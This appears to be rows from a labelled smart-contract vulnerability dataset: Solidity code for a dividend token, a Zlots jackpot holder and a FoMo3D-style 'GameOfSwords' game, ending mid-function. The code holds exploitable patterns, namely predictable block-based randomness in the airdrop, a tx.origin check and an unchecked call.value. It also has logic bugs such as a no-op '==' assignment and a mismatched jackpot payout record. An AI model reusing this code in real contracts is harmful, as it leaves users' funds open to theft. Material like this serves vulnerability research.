_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
trackTreasuryToken(_amountOfTokens);
if(tokenSupply_ > 0){
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += dividendCalculation(_dividends);
_fee = _fee - (_fee-(_amountOfTokens * dividendCalculation(_dividends)));
} else {
tokenSupply_ = _amountOfTokens;
}
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy);
return _amountOfTokens;
}
function dividendCalculation(uint256 _dividends)
internal
view
returns(uint256)
{
return (_dividends * magnitude / (tokenSupply_ + treasurySupply_));
}
function ethereumToTokens_(uint256 _ethereum)
internal
view
returns(uint256)
{
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
(
(
SafeMath.sub(
(sqrt
(
(_tokenPriceInitial**2)
+
(2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18))
+
(((tokenPriceIncremental_)**2)*(tokenSupply_**2))
+
(2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_)
)
), _tokenPriceInitial
)
)/(tokenPriceIncremental_)
)-(tokenSupply_)
;
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens)
internal
view
returns(uint256)
{
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(
SafeMath.sub(
(
(
(
tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18))
)-tokenPriceIncremental_
)*(tokens_ - 1e18)
),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2
)
/1e18);
return _etherReceived;
}
function trackTreasuryToken(uint256 _amountOfTokens)
internal
{
require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_));
address _treasuryAddress = address(Treasury_);
_amountOfTokens = SafeMath.div(_amountOfTokens, treasuryMag_);
treasurySupply_ += _amountOfTokens;
treasuryBalanceLedger_[_treasuryAddress] = SafeMath.add(treasuryBalanceLedger_[_treasuryAddress], _amountOfTokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_treasuryAddress] += _updatedPayouts;
}
function untrackTreasuryToken(uint256 _amountOfTokens)
internal
{
address _treasuryAddress = address(Treasury_);
require(_amountOfTokens > 0 && _amountOfTokens <= treasuryBalanceLedger_[_treasuryAddress]);
_amountOfTokens = SafeMath.div(_amountOfTokens, treasuryMag_);
treasurySupply_ = SafeMath.sub(treasurySupply_, _amountOfTokens);
treasuryBalanceLedger_[_treasuryAddress] = SafeMath.sub(treasuryBalanceLedger_[_treasuryAddress], _amountOfTokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_treasuryAddress] -= _updatedPayouts;
}
function sqrt(uint x) internal pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
function lockInTreasury()
public
{
address _treasuryAddress = address(Treasury_);
uint256 _dividends = (uint256) ((int256)(profitPerShare_ * treasuryBalanceLedger_[_treasuryAddress]) - payoutsTo_[_treasuryAddress]) / magnitude;
payoutsTo_[_treasuryAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_treasuryAddress];
referralBalance_[_treasuryAddress] = 0;
require(_treasuryAddress != 0x0000000000000000000000000000000000000000);
require(_dividends != 0);
Treasury_.deposit.value(_dividends)();
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
interface TreasuryInterface {
function deposit() external payable returns(bool);
function status() external view returns(address, address, bool);
function startMigration(address _newBank) external returns(bool);
function cancelMigration() external returns(bool);
function finishMigration() external returns(bool);
function setup(address _firstBank) external;
} | 1 | 3,322 |
pragma solidity ^0.4.24;
contract ZethrInterface {
function balanceOf(address who) public view returns (uint);
function transfer(address _to, uint _value) public returns (bool);
function withdraw(address _recipient) public;
}
contract ERC223Receiving {
function tokenFallback(address _from, uint _amountOfTokens, bytes _data) public returns (bool);
}
contract ZlotsJackpotHoldingContract is ERC223Receiving {
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyZlots() {
require(msg.sender == zlots);
_;
}
event JackpotPayout(
uint amountPaid,
address winner,
uint payoutNumber
);
address owner;
address zlots;
ZethrInterface Zethr = ZethrInterface(0xD48B633045af65fF636F3c6edd744748351E020D);
uint payoutNumber = 0;
uint totalPaidOut = 0;
constructor (address zlotsAddress) public {
owner = msg.sender;
zlots = zlotsAddress;
}
function () public payable { }
function payOutWinner(address winner) onlyZlots {
uint payoutAmount = Zethr.balanceOf(address(this)) / 2;
Zethr.transfer(winner, payoutAmount);
payoutNumber += 1;
totalPaidOut += payoutAmount / 2;
emit JackpotPayout(payoutAmount / 2, winner, payoutNumber);
}
function pullTokens(address _to) public onlyOwner {
uint balance = Zethr.balanceOf(address(this));
Zethr.transfer(_to, balance);
}
function setZlotsAddress(address zlotsAddress) public onlyOwner {
zlots = zlotsAddress;
}
function tokenFallback(address , uint , bytes) public returns (bool) {
}
function getJackpot() public view returns (uint) {
return Zethr.balanceOf(address(this)) / 2;
}
} | 1 | 3,313 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
}
contract modularLong is F3Devents {}
contract GameOfSwords is modularLong {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcLong for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xfea380f677c9f9c0654afea10f720773efa6b4f1);
address private admin = msg.sender;
address private com = 0x9f9FCa30aB69d8A5Dfbe5236A170b46fE99d7D6B;
string constant public name = "GameOfSwords";
string constant public symbol = "GOS";
uint256 private rndExtra_ = 0;
uint256 private rndGap_ = 30 minutes;
uint256 constant private rndInit_ = 1 hours;
uint256 constant private rndInc_ = 30 seconds;
uint256 constant private rndMax_ = 12 hours;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(30,6);
fees_[1] = F3Ddatasets.TeamFee(43,0);
fees_[2] = F3Ddatasets.TeamFee(56,10);
fees_[3] = F3Ddatasets.TeamFee(43,8);
potSplit_[0] = F3Ddatasets.PotSplit(15,10);
potSplit_[1] = F3Ddatasets.PotSplit(25,0);
potSplit_[2] = F3Ddatasets.PotSplit(20,20);
potSplit_[3] = F3Ddatasets.PotSplit(30,10);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
require(msg.sender == tx.origin, "sorry humans only - FOR REAL THIS TIME");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen));
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
com.transfer(_com);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = 0;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _p1 = _eth / 100;
uint256 _com = _eth / 50;
_com = _com.add(_p1);
uint256 _p3d;
if (!address(admin).call.value(_com)())
{
_p3d = _com;
_com = 0;
}
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _aff;
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
uint256 _potAmount = _p3d;
round_[_rID].pot = round_[_rID].pot.add(_potAmount);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
